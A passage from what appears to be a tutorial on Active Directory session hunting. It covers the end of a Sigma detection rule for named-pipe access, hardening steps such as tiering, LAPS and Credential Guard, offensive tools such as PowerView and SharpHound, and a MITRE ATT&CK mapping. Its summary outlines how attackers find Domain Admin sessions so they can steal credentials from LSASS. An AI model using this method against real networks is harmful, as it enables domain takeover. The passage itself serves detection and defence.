      - 'winreg'
  filter_legitimate:
    SubjectUserName|endswith: '$'   # optionally drop machine accounts
  condition: selection and not filter_legitimate
level: medium

Tune the machine-account filter carefully. Plenty of legitimate management traffic uses these pipes, so baseline first, then alert on unusual source accounts or unusual fan-out.


10. Hardening and Defensive Mitigations

Detection tells you it happened. These controls make the hunt return nothing in the first place.

MitigationDescription
Lock down SrvsvcSessionInfoRemove the Authenticated Users SID (S-1-5-11) from the DACL on the session-info registry key so level-10 NetSessionEnum denies non-admins
Disable Remote RegistryKills Primitive 3 on workstations: Set-Service RemoteRegistry -StartupType Disabled
Protected Users groupAdd Domain Admins; blocks NTLM, disables credential caching and unconstrained delegation, shrinks the secrets left in LSASS
PAW / AD tieringForbid DA accounts from interactive logon on Tier 1/2 workstations; this is the architectural control that makes session hunting yield zero
Credential GuardIsolates LSASS in VBS so found sessions cannot be looted for secrets
LAPSRandomizes and rotates local admin passwords, removing the password reuse that hands attackers the local admin needed for NetWkstaUserEnum

The registry key to tighten:

HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\SrvsvcSessionInfo

The order of impact matters. Tiering is the strategic fix: if a Domain Admin never logs on to a workstation, there is no session to find and no LSASS secret to steal, full stop. Everything else is defense in depth around the reality that admins do log on where they shouldn’t. LAPS plus Credential Guard together close the two follow-on steps (local admin reuse and credential theft) even when a session leaks. The SrvsvcSessionInfo lockdown and Remote Registry disable are cheap, high-value moves that blind the low-privilege phase of the hunt outright.


Illustration of a layered castle fortress with multiple blocked entry points symbolising defence-in-depth mitigations that prevent session hunting from reaching privileged credentials
AD tiering, Protected Users, LAPS, Credential Guard, and registry hardening form overlapping defensive layers – each independently blinding a different phase of the session-hunting kill chain.

11. Tools for Session Hunting and Analysis

ToolDescriptionLink
PowerViewGet-NetSession, Get-NetLoggedon, Get-NetLocalGroupMember, Find-DomainUserLocationpowersploit.readthedocs.io
SharpHound CEC# collector for session, local-admin, and LDAP databloodhound.specterops.io
BloodHound CEGraph engine and Cypher interface for attack pathsbloodhound.specterops.io
PsLoggedOnSysinternals tool using the Remote Registry methodlearn.microsoft.com
net / qwinstaBuilt-in session and terminal-session querieslearn.microsoft.com
SysmonProcess, network, and named-pipe telemetry for detectionlearn.microsoft.com
WiresharkConfirm SMB/Kerberos transport and \PIPE\srvsvc accesswireshark.org

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
System Owner/User DiscoveryT1033Event 4624 LogonType 3, Sysmon 18 pipe \wkssvc/\winreg, Event 5145
System Network Connections DiscoveryT1049Sysmon 3 port-445 fan-out, Event 5145 pipe srvsvc
Permission Groups Discovery: Domain GroupsT1069.002LDAP query telemetry, Microsoft-Windows-LDAP-Client ETW
Account Discovery: Domain AccountsT1087.002LDAP enumeration of user/computer objects
Remote System DiscoveryT1018ADSI/LDAP computer enumeration before SMB activity
Group Policy DiscoveryT1615SharpHound --CollectionMethods All GPO reads
Discovery (tactic)TA0007Hosting tactic for all of the above
Lateral Movement (tactic)TA0008Downstream tactic enabled by located DA sessions

Summary

  • Session hunting locates where privileged accounts are logged on so their credentials can be stolen from LSASS, turning a low-priv foothold into Domain Admin without touching the DC directly.
  • Three primitives do the work: NetSessionEnum (network sessions, level 10 was free for any user pre-2016), NetWkstaUserEnum (interactive logons, needs local admin), and Remote Registry HKEY_USERS (interactive SIDs, needs admin plus the service running).
  • Local admin enumeration via SAMR (NetLocalGroupGetMembers) is the other half: cross-reference “where the DA is” against “where I’m already admin” and the attack path is computed for you.
  • SharpHound --Loop plus BloodHound’s HasSession edge beat single snapshots, which catch only 5 to 15 percent of real sessions.
  • Every primitive crosses a named pipe over SMB, so detect with Event 5145 (srvsvc/wkssvc/winreg), Sysmon 3 port-445 fan-out, and 18 pipe connects, and defend with SrvsvcSessionInfo lockdown, Remote Registry disable, Protected Users, LAPS, Credential Guard, and above all AD tiering that keeps Domain Admins off workstations entirely.

Related Tutorials

References